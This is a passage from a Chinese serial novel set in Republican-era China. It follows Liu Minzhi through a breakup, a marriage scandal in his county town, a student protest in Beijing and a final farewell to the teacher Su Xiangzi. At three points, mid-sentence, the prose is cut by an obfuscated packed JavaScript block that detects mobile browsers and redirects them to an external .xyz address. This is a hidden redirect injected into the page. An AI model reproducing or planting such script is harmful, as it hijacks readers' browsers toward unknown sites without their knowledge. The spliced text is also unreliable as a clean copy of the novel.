两人长久地静默，但这次并不尴尬，反而有些释然。 许久，苏湘子轻轻浅浅地开口道：“我们两个到此为止吧。” 刘珉之侧身看她。 “和你在一起这段时间，是我在漳县最快乐的日子。” 苏湘子声音婉转，像在讲述一个轻柔的美梦。 “那也仅此而已。我们只是太合适，误以为一定会相爱。” 刘珉之看着远处的圣像，心里像破了道口子，流出些陈旧的暗血。 “对不起。” 他说不上为什么道歉，他好像总是对女人道歉。 他太优柔寡断。 苏湘子眯着眼睛笑，琥珀色的浅棕色眼睛，和第一次见面时一样迷人。 “那么，好聚好散，刘先生？” 刘珉之站起来，握住她柔弱无骨的手掌。 “好聚好散，苏小姐。” 他们看着彼此的眼睛，忽然一起大笑起来，随性、轻松，又愉悦。 30. 传言 出乎所有人意料，晋绥战争很快就打完了，国丨军在蒙古取得了振奋人心的速胜，可是战争并没有结束，蒋部长要趁势在西部完成剿匪大业，更多兵马发往西北，连他自己也要亲往西安督战。 刘琼越没有回到漳县，反倒是越来越多的人力枪丨支和粮食离开家乡，源源不断地输往无望的战场。 国内形式越来越复杂，刘珉之熄了年轻气盛的火气，老老实实呆在家里。 刘伯参整日忧心忡忡，病的离不开床，还要看五六份报，念念叨叨大儿子不来封家书。 “老爷，大少爷行事稳妥，会保全自己的。” “打着战，哪能不忧心。” 刘伯参将报纸盖在胸口，他瘦了不少，一张报纸打开，整个人都被罩进去。 “咱们的囤粮还有多少？” 战争让粮食越来越值钱，刘记米铺坚持不涨价，生意十分红火，到后来，不得不搞出限量销售，每家店铺只卖两百斤，早晨一开市就被抢光了。 钱管家一一回答，将米铺的存粮、田庄的余粮和刘家粮仓里的囤粮仔细报来，加在一起还能有一二万石，能在漳县细水长流地卖一整年。 刘伯参松了口气。 “记住，粮仓的粮千万不能动。” “我晓得的，老爷，”钱管家沉吟道，“还有件事，咱拿不定主意。” “你讲。” “大少爷在军部管事后，一直是咱们刘家米铺向军务部供粮，平日里都是赵副官亲自接应咱们的粮食，可是前两天赵副官自个儿不来了，派了个姓孙的年轻小子，那小子还算客气，可是瞧着有些莽撞样儿——老爷，这生意咱还做不做了？” “姓孙的小子？哪家的孩子？” “外地人，在漳县没根基，查不到背景。” 这就难办了。 刘伯参沉吟许久，还是拍板道：“做，这生意得做。军务部怕是看我儿子不回来，想要造反，咱们不能被他们拿乔，人家见咱们让一步，该往死里欺负咱们去。” 刘伯参喘了几口气，继续说：“这生意你和二少爷轮流盯着，你们俩得亲自盯着，一点把柄都不能给人家握住。” 钱管家得了确切的令，松口气。 “我晓得了，老爷。” 一直乖巧旁听的刘珉之赶紧跟着表态：“我知道了，爹。” 好在刘珉之是个闲人，多份差事也无关紧要。 军工部来来回回就是那几个工厂机床，生产些治安巡查队需要的粗糙消耗品，前线的军火多从国外购买，犯不着他们后方操心。刘珉之随手记录下今天的生产情况，回办公室等下班。 似乎斗志就是这样一点点磨没的。 刘珉之百无聊赖地喝着茶。 “珉之。” “嗯？” 刘珉之懒散地睁开眼。 “你最近见着苏小姐没？” 又是八卦他的。 刘珉之闭上眼，慢悠悠道：“没有啊。” “你……”同僚欲言又止，想了想，还是不说了。 刘珉之没往心里去，下了班，他还要去米铺，护送今天去军务部的粮食。 这活儿没什么技术含量，不过是双方当面点清，省的日后出问题被秋后算账。 那姓孙的圆头圆脑，短脖子里全是褶儿，能塞进去两斤肥肉，瞧见刘珉之总是点头哈腰地喊少爷。 “孙长官，请你过目，每袋五十斤，这里二十袋，正好一千斤。” “是是是。” “孙长官，你还是挨个瞧瞧吧。” 姓孙的嘿嘿笑：“二少爷的差事，怎么会有差错呢。” 刘珉之不理他，叫伙计挨个将袋子拉开，给军务部的后勤人员一一验看。 姓孙的应脸上肉多，挤的眉眼细小，显得獐头鼠目。 “二少爷，听说您府上有位二奶奶？” 刘珉之乜他：“你问这个做什么？” “没什么，没什么，就是听说。” 那姓孙的油盐不进，和他讲话像在揉棉花。 刘珉之心里烦闷，散了伙计不冷不热地往回走。 漳县近日多出很多力工，冬天地里没活儿，跑来县城谋求生路，他们在县城没有宅地、亲人、家畜，散了工就挤在廉价茶馆里互侃大山。 “啧啧啧，那孙老师可真是位狐狸精！知道人家有妻室还硬往上凑！那俩人在新中学什么事没干过！那可是学校啊，孔老圣人的圣地，学生下了学，一瞧，霍！孙老师不教洋文改教活春宫了！” 刘珉之转了方向，往茶馆里冲。 “他们这些和洋人沾边的就是荡！家里正儿八经娶的媳妇，嘴上是嫌没文化，其实是嫌不够骚！” 刘珉之撞开围观听众，一把揪住中间胡说八道的王俭。 王俭傻眼了：“刘刘刘刘少爷。” “嘭！” 刘珉之往他脸上来了一拳，把他门牙打偏了，犹不解恨，乒乒乓乓往他身上招呼。 “哎哟，哎哟！刘少爷，刘少爷饶命！” 王俭一个种地的乡下汉子，不至于躲不过刘珉之的拳脚，但地位的悬殊带来全方位的卑贱，王俭压根没想起来自己还能躲。 “看什么看！” 刘珉之朝围观群众泻火，众人一溜烟散了。 “刘少爷！您就饶了我吧，我们就是凑在一起说点乐子。” 刘珉之往他嘴巴来了一拳，叫他吐出一口血沫。 “嘴巴这么不干净，干脆别说话了。” 王俭瞪大眼睛。 “刘少爷！您不能这么做啊！我，我，我好歹是你大舅哥！我们王家是您的亲家啊！” “你也配？” 刘珉之拽着他的衣领，叫他屁股托地，在大街上反向爬行。 “刘少爷，刘少爷您要带我去哪！” 刘珉之不语。 “刘少爷！我，我妹妹是您亲媳妇啊！你不能杀我！你不能杀我！” 路人纷纷聚首，不知唱的是哪出好戏。 “道歉。” 王俭一喜，明白了刘珉之的用意，连忙大喊：“我错了，我不应该编排刘少爷的私事，我嘴巴不干净，我，我掌嘴。” 王俭喊了一路，打了自己嘴巴一路。 刘珉之拖拽的疲累，停下来。 王俭大喜：“多谢刘少爷开恩！小的这就滚的远远的，再也不出现在刘少爷跟前！” 刘珉之往前两步，蹲坐在门槛上，嗤笑两声。 王俭一抬头，这才看清脑袋上悬着刘家米铺的招牌。 “二少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15637944|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷。” 店里的掌柜和伙计弓腰出来听吩咐。 “把他给我关起来，不许给吃的喝的。” “是。” 王俭瞳孔睁大。 “刘少爷！你不能这么对我！” 伙计两下把人按住，像捆猪一样将他捆缚起来。 王俭挣扎不过，破口大骂：“刘珉之！你个不知廉耻的王八蛋！我哪里说错你了？背着我妹妹在外面瞎搞！你个伪君子！你们刘家人都是禽——呜！” 伙计忙拿破布堵住他的嘴，又给了两脚。 刘珉之岔开腿坐在店门口，好半响才缓过神来。 他疲惫地站起来，茫然地往前走了几步，又抬手叫面包车。 到新中学门口，学校一片安静，学生早就放学了。 新中学只有一扇上锁的铁门，没有门卫，刘珉之没有钥匙，只能在外面干等。 他又发了会儿呆，到附近的小饭店坐下，找老板要一瓶酒。 “我们在学校门口做生意，哪里会卖酒哦。” 刘珉之一愣：“哦，是，那要壶茶吧。” 他坐在店里喝茶，呆呆地看着大门。 一个短卷发的中年女人从学校出来，拿钥匙打开铁门，又站在外头重新上锁。 刘珉之迎过去。 “邓老师。” “哎呀！” 邓老师惊慌地拍着胸口。 “谁啊，吓死我了。” “是我，邓老师，”刘珉之沉吟道，“请您告诉我，湘子怎么样了？” 邓老师神色冷下来，大踏步绕过他往前走。 “邓老师！” “哎哟！别拽我！” “对不起。” 刘珉之难堪地收回手。 邓老师冷哼一声：“刘先生好会做戏哦。” 刘珉之张嘴。 “现在做出这份可怜巴巴的样子给谁看？你们两个好起来蜜里调油，我还以为苏老师终于要结婚了。你……你家里明明有妻子！哼，学校里全是骂苏老师的，她已经辞职了。” 邓老师甩身走了，刘珉之愣愣站在原地。 他去邮局要了公用电话，忐忑地拨通苏家的号码。 等候音叮铃铃地炸响，刘珉之祈祷快些来人接，又祈祷谁都不要接。 “喂，我是新中学的苏学章。” 刘珉之艰难地咽了口唾沫：“苏校长。” 苏学章沉默了，连呼吸都在努力控制。 “我对不住您，请您告诉我湘子怎么样了？” “你还有脸问！” 苏学章怒吼一声，挂断电话。 一连串忙音密集地流出，打的刘珉之不知所措。 回到刘府。 正收拾屋子的小葱浑身紧绷，大气都不敢喘一下。 刘珉之瞥她一眼。 “府里也知道了？” “知道……知道什么？” 刘珉之白她一眼。 晚上一家人沉默地吃饭，刘伯参问过他几句生意上的事，没多说别的。 但刘伯参显然什么都知道，瞥了他好几眼，最终还是忍住没说，和老太太搀扶着回屋了。 刘伯参是最在意名声的人，他能忍住不管，是给他这个当家的儿子面子。 31. 抉择 今儿个晚上，谁也没心思学洋文了。 王桂英抱膝蜷在床脚，只露出来两只眼睛，像个瓷娃娃。 刘珉之换好衣服，也坐到床铺的铺脚，和她相望。 “对不起。” 又来了，他总是在对女人道歉。 王桂英把她又圆又大的黑眼睛藏起来，只拿个脑袋旋儿对着他。 “是不是之前来还书的那个姑娘？” 她说的是谢觉梅。 刘珉之摇头：“不是，是位女教师。” 王桂英咬着牙齿，脚指头都僵硬地蜷缩起来。 良久，她轻声道：“肯定是个特别洋气、特别厉害的老师。” 刘珉之无法否认，只能再次重复。 “对不起。” 王桂英闷闷道：“没啥对不起的，是我挡了她的位置，你一直就想休了我。” “不是这样的。” 刘珉之急道。 王桂英愣了，抬起两只黑眼珠子看他。 刘珉之被她看的心神不宁，移开目光看远处的书桌，书桌上还摆着他们这几天在学的法语单词。 “我跟她已经分手了。” 王桂英傻乎乎的：“什么？” 刘珉之心烦意乱：“没什么，我跟她不可能了，你别想那么多。” “那不行啊。” 刘珉之不可置信地看着她：“你说什么？” 王桂英往床里退了两步，讷讷道：“话不是都传出去了，人家女老师的名节咋办？” 刘珉之呆呆地看着她，看的王桂英浑身不自在。 王桂英不明所以：“我，我说错话了？” “没有，”刘珉之叹气，“是我做错事了。” 王桂英似乎单方面下了某种决心，把脑袋抬出来端端正正地对着刘珉之。 “我已经在刘家过了一年好日子了，也该回去了。” “本来我爹才死，我应该守一年孝，不能过你们刘家的门的。” “你和人家女老师好好说，咱俩啥也没干，别叫她怪我。” “我得把祖上的田盘回来，等过完年，就该下麦子了。” 王桂英突然羞赧地笑了：“其实我还挺喜欢种地的，累是累了点，但心里踏实。” 那是因为我让你在刘家过的不踏实。 刘珉之垂着脑袋，喃喃道：“对不起……” 王桂英慌忙摆手：“没有。” 她又沉默片刻，终于小心翼翼开口：“二少爷，我能不能求你个事儿？” “你说。” 王桂英从床上爬起来，噗通往刘珉之跟前一跪，膝盖磕在木板上，发出好大一声脆响。 “你做什么？快点起来！腿疼不疼？” 刘珉之扶她，她纹丝不动。 “二少爷，这事，我，我一定得求您。” “你说就是了。” 王桂英定定地看着刘珉之，眼里鞠着一汪热泪。 “二少爷，您能不能饶了我哥哥？” 刘珉之顿住。 王桂英慌地挪着膝盖，抱住他的大腿。 “二少爷，我知道他对不住您，我听店里的伙计说了，都是他管不住嘴乱说话，给您抹黑。” “可是，可是……” 王桂英两汪热泪噼里啪啦往下掉：“可是他毕竟是我亲哥哥，我就这么一个亲人了……” “我们王家就这么一根独苗，他出了事，我爹在地底下也不会安心。” “我会带着他回乡下，再也不出现在您面前。” “您就放他一条生路，好不好？” 王桂英脸蛋被眼泪蒸的熏红，像被雾晕开的胭脂，乌黑的长发像被新雨洗过，墨油般水亮。 刘珉之把她额前的头发挑到耳后。 “起来吧，我没想对你哥怎么样。” 王桂英一口哽咽没喘上来：“真的？” “真的，”刘珉之无奈，“他毕竟是你哥。我就是想给他个教训，省的他到处得罪人。” 王桂英破涕为笑。 “多谢二少爷！” 她喜滋滋地坐回床上，还是沉浸在王俭得救的开心里。 “我哥哥以前不是这样的，他以前很疼我的。后来在乡下呆久了，又染上了抽大烟的毛病，才变了样儿。” 刘珉之沉默地听着。 “其实我自己也是。我以前，还是会读一些书的，当然肯定比不上人家女老师。后来种地种久了，全忘光了。” 王桂英眷恋地看他一眼。 “二少爷，您是个顶好的男人，是我配不上您。” “不是这样的。” 不是这样的。 刘珉之不明白事情怎么变成了这样。 他明明，已经快爱上她了。 苏湘子那边一点音讯也没有，刘珉之很担心她。 虽说他们已经正式分手，但如今的祸事毕竟是他惹出来的。 如果他如实相告，如果他一早就承认他家中有位妻子，像苏湘子那样清冷高傲的女人，是不会跟他谈恋爱的。 男人总是把愧疚转换为责任，刘珉之也不例外。 他迫不及待想找到苏湘子，想做出可以弥补她的一切行动。 他又给苏家打了几次电话，到后来他都不敢开口说话，苏学章接听几秒没人应声，便知是他，直接挂断电话。 马竭一直在尽心尽力帮他调查，终于得了信儿，说有人在火车站看到了苏湘子，还说那个时间段的火车，是开往北京方向的。 刘珉之松了口气。 “我得去找她。” 他买了去北京的车票，简单收拾好行李箱。王桂英捏着帕子，默不作声地守着。 “对不住，家里辛苦你了，这趟我必须去。” 王桂英懂事地点头，把情绪都藏进眼底。 火车下午五点钟开，刘珉之在车站旁的小店要了一杯黄酒，用筷子挑带盐粒儿的花生米下酒。 冬日越来越生动，游客哈着带白烟的气儿，脱下粗线织的黑旧手套，和同伴举杯暖胃。 一个带瓜皮帽、留花白辫子的老年人出现在白烟混杂的店门口，背着手左右瞥看。 他年纪大了，腿上走不快。 “二少爷。” 倚在窗边的刘珉之一愣：“钱管家，您怎么来了？” 钱管家晃悠悠地坐了，他嫌弃桌上的油渍，双支穿大袖的手臂板正地在胸前合拢。 “二少爷，那姓孙的到咱们铺子里捣乱，说什么突击检查。我看他是要开始造反了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649818|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二少爷，您是东家，你得去铺子里看看大伙儿。” 刘珉之皱着眉头：“什么时候的事？赵副官呢？赵副官不管么？” “就刚才的事儿，姓孙的带着三五个穿军服的，查了咱们的总店，他动作快的很，十来分钟就走了。我立马派了伙计去问，赵副官今日在城外的营道巡察，还没回来。” 刘珉之松了口气。 “有赵副官在，谅他也不敢怎么样。” “是。” 钱管家顺着他的话说。 “可是赵副官只有一个人儿，分身乏术，保不了所有人周全。眼下大少爷不在，二少爷，您可不能抛下大家伙儿啊。” 刘珉之抿了口黄酒，咽下去，嗓子火辣辣的疼。 “钱管家，我在这也起不到什么用。” “二少爷，您这是说的什么话？” 刘珉之笑了：“我除了是个少爷，还是个什么人物？铺子里一向不是我管事，军部呢，有赵副官照应，乱不到哪里去。” “二少爷，您是咱们的东家啊，是主心骨。” “钱管家，您这话说的，我又不跑。我处理完私事，马上就回来。” 刘珉之招呼店里的伙计，让给钱管家也上一杯黄酒。 “我不喝。” 钱管家支棱出手臂摆摆手，脸上的白胡子也跟着颤。 “二少爷，我知道您眼界儿高，心气儿也高，瞧不上我们这些老家伙，可您得为老爷子想想吧？” 钱管家嘴唇干瘪，呼出的气息细长，一缕一缕的。 “他没多少日子了，您别让他操心了。” 刘珉之愣了，呆滞地看着眼前的白烟。 钱管家站起来捋捋袖子，又摇摇头，那根花白的大辫子微微晃着，走进更迷障的白烟里。 火车轰隆隆地嘶鸣。 欧洲人在17世纪发明了内燃机，他们将煤转化成征服世界的动力。 200多年后，刘珉之远跨重洋学习了内燃机的原理，知道屁股底下坐的火车是由一个炙热的锅炉推动向前，知道火车通过阀动装置和刹车系统完成停动，知道它带来的利益大部分由外国人把持垄断。 刘珉之跟着疲惫的人潮涌动，天色已晚，北京灯火阑珊。 上次住的六国饭店很不错，他叫了人力车，又去六国饭店下榻。 广安门洞黑漆漆的，如沉睡的巨龙。 刘珉之感慨：“北京晚上倒很安静。” 车夫低着头，粗声粗气回答客人：“租借区那边热闹，跟白天似的。” 到六国饭店，果然灯火通明。 收了四十文钱，车夫急忙忙拉车跑了，仿佛在逃难，不敢多停留一秒。 刘珉之换了大额钞票进店入住，穿制服的工作人员客客气气登记好基本信息，又道：“先生，请您留下保人的联系方式。” 刘珉之一愣：“我没有保人。” “不好意思先生，中国人入住本店，必须由一位外国人或者政丨府官员作保人。” “这是哪门子的道理，你们不是在中国开的店子么？” “不好意思先生，这是本店的规定。” 刘珉之被客客气气请了出去，他站在比月亮还亮的灯光下叹了口气，在附近随便找了一家酒店入住。 32. 时局 苏湘子在北京和她的同学们最熟，若真的来了这里，肯定会联系她们 刘珉之记得之前去过的女同学的家，登门拜访。 “湘子？”女同学疑惑，“她来北京了吗？我不知道。” 刘珉之失望地叹了口气。 “不过，我可以帮你问问锦艾，湘子什么事都跟她说，她应该会知道。” “那就麻烦您了。” “别客气，一有消息，我就给你住的酒店打电话。” 北京的冬天是沉重的。 数不尽的煤炭和燃油在街巷流转，依旧不够这座城市消耗。破旧的人蜷缩在角落御寒，尽可能的少做动作。 天气冷只有一个好处，食物不会轻易腐烂发霉。等活儿的力工将干粮窝在怀里，饿的狠了就拿出来细嚼两口，和着唾液饱腹。 刘珉之一个人出门在外，懒得坐在店里慢吞吞地进食，随手买了几个牛肉包子。 说是牛肉包子，其实里面的馅料是拼凑的，什么都有。市场肉铺每天收摊时，剩的碎肉降价处理，被包子铺老板包圆儿，买回来搅合在一起作便宜肉馅，想不到竟将牛肉做出一种独特的胶糯口感，当地人管这叫筋头巴脑。 味道出奇的不错，刘珉之站在包子铺门沿吃了两个，又打包了两个，边吃边回酒店。 路上经过西单牌楼，却见此处乌泱泱围满了人，道路被封锁了，穿黑亮制服的军丨警严阵以待，他们手持木棍、盾牌，有的还戴着美式头盔。 刘珉之皱眉，不知撞上什么紧急的大事。 他伸出双手配合搜查。 “去去去，赶紧过去。” 军丨警不耐烦地赶他过卡哨。 他们根本不拦行人。 这群人是自东向西设的卡哨，刘珉之是自西向东进来的。 刘珉之看向西边。 他们要拦谁呢？ 他实在好奇，站在原地多等了一会儿。 远处大踏步而来一直年轻的军队，脸蛋稚嫩而鲜红，高举着旗帜和拳头，大声呼喊口号： “停止内战，枪口对外！” “中国人不打中国人！” “反对亲日派，建立全国统一抗日战线！” “停止内战，枪口对外！” 是学生游行。 刘珉之怔怔看着眼前同胞的壮举，感到自己像溪流前的一颗碎石。 “停止内战，枪口对外！” 他被冲到路边，眼看溪流撞上堤坝。 扩音器发出刺耳的长嘶，警察的嗓音混杂机械噪音，像割山的石斧，折磨所有人的耳朵：“警告尔等速速解散，否则依丨法处置！” “再次重复：速速解散，否则依丨法处置！” 队伍最前头的学生代表振臂高呼：“中国人不打中国人！冲啊！” 青年人用肩膀撞开盾牌，用□□挨下木棍，澎湃地挤进人墙，又拉起同伴的手，重塑新的人墙。 “中国人不打中国人！” 溪流浩浩荡荡，溪流奔腾入海。 领队的警察头目瞻前顾后，并不敢真的动手，装模作样唬不住他们，只能任由这群学生崽冲散防线。 “中国人不打中国人！” 学生伸出手，戴头盔的警察似乎僵硬了一下，伸手和对方交握。 “停止内战，枪口对外！” “咳、咳！” 头目重重咳嗽两声，警察忙甩开对方的手，他们聚集在长官身边，集结撤退。 溪流川行不息。 “起来！不愿做奴隶的人们！” 不知是谁起了一个调子。 这是去年上海电通影片公司上映的电影《英雄儿女》的主题曲，电影上映后，这首歌迅速地传遍全国。不，不止全国，刘珉之远在法国，也知道这首歌。他还和爱国学生会的其他成员一起，跟会长学唱过。 “起来，不愿做奴隶的人民。” 越来越多的人一起唱，大家一遍一遍地重复第一句歌词，直到所有人都加入。 “起来，不愿做奴隶的人民。” 刘珉之迟疑地张开嘴，陌生地跟读。 “起来，不愿做奴隶的人民。” 似乎所有人都加入了。 游行队伍最前面，有人开始带唱下一句。 “把我们的血肉，筑成我们新的长城！” 歌声是喉咙里的旗帜。 曲调是飘扬的韵律。 合奏是群体的激昂，扬起恐怖的波涛。 “中华人民到了，最危险的时刻！” 刘珉之仰起头颅，和他们共享朝阳。 “每个人都该发出最后的吼声！” 刘珉之跟着人群来到总统府，和其他支流的学生们聚合。 他们要在这里抗议请愿，最前方的学生代表正在和头目交涉，他们要一直聚众造势，直到总理亲自出面，同意他们的主张。 队伍停下来，刘珉之的理智也回了笼。 “他们真的会同意吗？” “不知道。” “那现在怎么做？” “等。” “等什么？” “等他们妥协。” 四周乌泱泱全是手持武器的警察，这群年轻人身处其间，竟也沉的住气，一遍遍重复停止内战的口号。 最前方似乎达成短暂协议，学生领袖发令，众人安静下来。 一个男学生从屁股后头摸出一副扑克，马上有人凑过去，席地圈坐。 “还是你聪明，竟然带了牌。” “那可不，今天有的耗呢。” 刘珉之瞧见又一支女学生到来会和，恍惚想起苏湘子从前讲的故事。 他轻声道：“我该走了。” “走呗，”在打牌的男学生搭腔，“这有我们呢。” 刘珉之觉得奇怪：“你们不怪我临阵脱逃？” 男学生满不在意道：“每个人都有自己的事儿嘛，咱能干多少干多少。” 另一个盘坐的学生也笑：“要是一会儿我老子亲自来喊我，我也得回去。” “回呗。” “那就没人陪你打牌了。” “去去去，这儿这么多人，差你一个？” 学生们开怀地大笑起来，他们如此轻松惬意，难以想象是在闹革丨命。 刘珉之心情复杂地走了。 围站的警察毫不阻拦，等刘珉之出去，又迅速合上出口，生怕他再回去。 北京。 真是个奇妙的城市。 回到酒店，前台说有电话找他。 刘珉之一喜：“什么时候打来的？” “大概一个小时前。” “我知道了。” 他深呼吸几次，回拨电话。 “好的先生，马上帮您转接。” “叮铃铃——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15662145|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电话铃刚响三声，被接起，一个冷静沉稳的女声沿着电话线传来。 “Hello，thisisHuiHongDistillery，I’mMscheng。” 是程锦艾。 刘珉之更紧张了，嗓音都变得尖细。 “程女士，我是刘珉之。” 电话那头沉默了。 “我……” 刘珉之正斟酌该怎么开口，又听那边响起高跟鞋款款行走的踢踏声。 踢踏声停下。 “不好意思，最近我和湘子都比较忙。你想见她的话，可以直接来我的酒厂。” “啊，好。” 程锦艾报了地址，叫他重复一遍。 刘珉之照实念了。 “没错，就是这里，刘先生随时可以过来。” “我现在就过去，马上到。” 程锦艾似乎轻笑了一声。 “好吧。” 刘珉之加了价钱，车夫草鞋都要跑飞了，半小时就到达目的地。 酒厂的规模很大。 一整座砖墙建筑都属于恢弘酒业，刘珉之通报姓名，被职员领着七拐八拐上了三楼。 他被安排在欧式会客厅里等待，几分钟后，职员端上现磨的咖啡。 “多谢。” “您客气了，刘先生。” 咖啡的味道很醇厚，刘珉之慢悠悠喝了半盏。 绘橄榄叶装饰的大门打开，程锦艾穿深红色旗袍，化着精致的浓妆，她刚刚露出脸，就朝刘珉之道歉。 “不好意思刘先生，最近实在太忙了。” “没事，别这么客气。” “我现在就叫人，带你去找湘子。” “麻烦您了。” 程锦艾扭头和下属交代两句，又歉意地朝他微笑：“我还有位客人要见，您和湘子聊，下回我再和刘先生叙旧。” “程女士请便。” 程锦艾踩着高跟鞋踢踢踏踏地走了，她的气场似乎更加张扬了。 刘珉之跟着应侍穿过长长的走廊，又想，要是自己有这么大一座酒厂，气场应该比她还张扬。 “刘先生，苏小姐就在里面。” 刘珉之站在深红色的木门前，深吸了两口气，轻轻敲门。 “请进。” 熟悉的、温柔的声音。 怀念吗？惊喜吗？ 似乎没有。 他对这两个女人的感情，到底是愧疚还是爱，他自己也分不清。 刘珉之打开门，愣住了。 苏湘子头发散乱，容颜憔悴，鼻子上架着一副金丝边的眼睛。办公桌、椅子还有地上，全部摆满了文件资料，将她团团围住。 “珉之。” 她不太习惯戴眼镜，怕动作大了把眼镜晃下去，所以脸部尽量不动，只抬起一双浅棕色的眼睛看人。 目光从镜片后透出来，是冷淡的，坦荡的。 “你竟然来了。” 刘珉之觉得喉头有些干涩。 “湘、湘子。” 苏湘子清浅一笑。 “坐吧。” 她小心翼翼离开文件堆，摘下眼镜，揉揉发胀的太阳穴。 “我都没见过你戴眼镜。” “我度数不深，平时懒得戴，”苏湘子想了想，补充道，“我可不是坏老师，上课教书还是能看清黑板的。” 33. 再见 “你当然是位很棒的老师。” 听到肯定，苏湘子得意得扬了扬脑袋。 “学生们都很想你。” 刘珉之斟酌着开口。 “你……什么时候回去？” 苏湘子定定地看着他，憔悴的脸上是浅淡的微笑。 “我不回去了。” 刘珉之几度张口，不知从何说起。 苏湘子随手拿起身边的英文合同，展开给他瞧：“我要过目酒厂以前到现在的所有合同，国际法很复杂，我在从头开始学——那群外国人狡猾的很，锦艾信不过别人。她的事业才刚刚开始，我得留下来帮她。” 苏湘子说着，大大方方打了个哈欠。 她很累，但明显很享受其中。 刘珉之低声道：“你很厉害，留在漳县，是屈才了。” “不，”苏湘子道，“漳县很好。” 她并不是漳县本地人，她的祖籍在浙江，出生地在湖南，在北京读过书，又在漳县教过书，她并不认为哪个地方更好或更差。 “我认真想过，要在漳县呆一辈子。” “漳县的生活很平静，没有战争，没有新闻，没有波澜。” “和你谈恋爱，是因为想要结婚安定下来。” 对待这段感情，苏湘子是认真的。 刘珉之愣愣地看着她：“对不起，我没告诉你我家里有妻子……我，我一开始没把她当做妻子，这件事全是我父亲做的主，我父亲又病重……” “我知道。”苏湘子耸耸肩，打断他磨磨蹭蹭的道歉。 “什么？” “我知道你家里有妻子。” 刘珉之惊疑，脱口而出：“怎么可能？” 苏湘子被他的反应逗的笑出来：“怎么不可能？我是什么很愚笨的人吗？” “那你怎么会……” “因为你是最好的人选。” 刘珉之惊疑惑地看着苏湘子，好像今天才刚刚认识这个女人。 “你知道吗？我很羡慕邓老师。” 苏湘子放松地倚靠在沙发上，准备开始长篇大论。 “我以为在漳县可以过一辈子平静的生活，所以要像她一样，挑一个看的顺眼的丈夫。” “不过，漳县的青年才俊数量不多，家世好的都早早结了婚。” “我能选择的范围不广，在你出现之前，我正在考察杜其骏。” 刘珉之激动道：“什么！” “嘿，别这么大反应，”苏湘子咯咯笑，“其实他人还算不错，是你出现之前最好的一位。” 刘珉之还是愤愤，自己居然被和这种人相提并论。 “你出现之后，我认定你是最好的人选。” “你家境好，留过洋，尊重女性，对我也像是真心。” “我知道你家里有个娃娃亲定下的旧派女人，但我看得出你不喜欢她，所以我没把她放在眼里。” 刘珉之走了神。 王桂英现在在做什么？他远赴北京了断旧情，把刘府大大小小的事全抛给王桂英，还任别的女人对她评头论足。 刘珉之突然感到难以言喻的羞耻，像是他自己被摆在砧板上，任人评判。 “后来，我亲自去你家里看过她。” 刘珉之又是一怔，听苏湘子继续说下去。 “她似乎是个普通的女人，相貌普通，穿着普通，是个哪里都能见到的人物，”苏湘子用手掌托着脸颊，迷蒙道，“我小时候在湖南见过很多这种女人，当时我父亲在北京闹革命，母亲带着我去乡下避难，是很多这样的女人给我们一碗又一碗的饭吃，我们才能熬过那段日子，才能活下来。” 苏湘子沉沉叹了口气：“我怎么会和这样的女人争抢同一个男人呢？” 刘珉之低着头。 “所以，漳县那些人骂我也是我活该，我明明知道她的存在，还是选择了和你恋爱。” 刘珉之胀红了脸：“不是这样的，明明是我的错……” 苏湘子轻笑：“已经无所谓了，女人的名声太容易被败坏，再怎么修补也是亡羊补牢。” “好在在北京，女人的名声，还没那么值钱。” “锦艾也被很多人骂，骂的很脏，但并不耽误她赚钱。” 刘珉之记得那位秃顶的外国新郎，可以想见程锦艾受到过哪些攻击。 “不过，”她轻飘飘补充道，“有时我也会怨恨，为什么男人的名声，就不会被轻易败坏呢？” 苏湘子送他离开酒厂。 他们没有拥抱，只是简单说了再见。 刘珉之坐上人力车，苏湘子站在原地目送。她的身材太单薄，寒风里瘦骨凛冽，像一根褪了花瓣的花枝。 这是他最后一次见到苏湘子。 刘珉之不想在北京逗留，买了最近一班回漳县的火车。 他发现火车的噪音会阻碍人思考。 中国的人太多，而火车太少，尤其在北京，每一趟车的座位都是满的。两人座的座位挤了三个人，刘珉之和乘客肩膀屁股贴挨着，时不时跟着车况颤动几下，陌生的皮肉扇扇打打，毫无礼貌可言。 隔壁座有个婴儿在哭闹，母亲焦急的哄，解开衣襟喂奶，同行的年轻姑娘脱下外套为她遮挡。 婴儿聒噪两声，满足地安静了。 北京之行结束，刘珉之本以为自己会百感交集，会像放电影一样回想和苏湘子的从前，可真上了火车，苏湘子完全被他抛在脑后，彻底留在了站台。 连日赶路让他很疲惫，他迫不及待想回熟悉的地方好好休息。 如果准时的话，火车会在下午四点到达漳县，回到刘府正好赶上吃晚饭。 